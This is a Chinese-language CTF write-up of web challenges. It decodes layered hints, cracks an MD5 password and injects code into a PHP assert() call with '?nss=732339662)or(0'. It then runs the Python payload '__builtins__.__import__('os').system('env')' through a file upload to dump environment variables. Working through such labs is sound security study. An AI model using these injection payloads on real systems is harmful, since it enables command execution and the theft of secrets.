前言
web疑似编码有点多了
Web
真·签到
页面标题提示看robots.txt
hint:E794A8E688B7E5908DE7869FE68289E590972CE696B0E7949FE8B59BE58FAFE98187E8A781E8BF87E593A67E0AE8AEB0E5BE97E794A8E688B7E5908DE585A8E794A8E5B08FE58699E593A6EFBD9EEFBD9E
username:13 44 21 15 42
password:LF5GY3KZKRVTCT2EM54FUV2FO5GVIVLZJZ5GW6C2IRJGQTT2KU2VUR2GNJNEIYZVLJDVKPI=
hint是hex,username是敲击码(解码时记得删掉空格),password是base32+64
用户名熟悉吗,新生赛可遇见过哦~
记得用户名全用小写哦~~
ctfer
c9fa95881ea0152791d4a759dacd79de (md5爆破得Nss)
账密为ctfer/Nss
登录来到w4it111ng.php,ctrl+u查看源码
Fin4l.php
告诉我们Give me what you want
,看来是要给个参数want,试了一下发现这里啥都没有,get传参want=flag会让我们回去看前端
F111n4l.php
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['nss'])){
if ($_GET['nss'] == 732339662){
assert("is_numeric($_GET[nss])==0") || die('oops!此路不通!!');
echo $FLAG;
} else{
echo "这里不是说了吗!!!必须是 732339662 (招新群群号!)";
}
}else{
echo "啊?这是什么新型比较?";
echo "<br/>";
echo "是不是题错了啊";
}
一眼assert命令注入
传入?nss=732339662)or(0
即可
真的是文件上传吗?
进入题目,给我们一串brainfuck
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>-------.>-.++++++.<<<<<.>>>>>++.<++++++++.>---------.++++++.<<<<<.>>>>.<<<<.>>>>+++++++.+.+++++.>.<<<-.<<<------.>>>++++++++.>>-----.>++.<----.<<<<.>>>>++++++++.--------.<<<<.>>>>----.<<<<.>>>>+++++.++++++.-----------.++++++.<<<<+....<.>>>------.>>+++++++.----------.<<<<-.>>>>>+++.----------.++++++.<<<<<.>>>>>++.<+++++.+++..<<<<.>>>>----.-------.>-.<.<<<<.>>>>+++++++.+.+++++.>--.<<<<<+.
解码得
You want a hint?
Give me a flag!!!!
And you will hava hint!
结合上一题的经验,我们传入?flag=1,回显
ctrl+u,发现jsfuck和一堆base编码
控制台里面跑一下jsfuck,得到传个木马?
尝试传点东西
发现这里会打开文件并根据里面的内容进行python命令执行
那就直接读环境变量得到flag
__builtins__.__import__('os').system('env')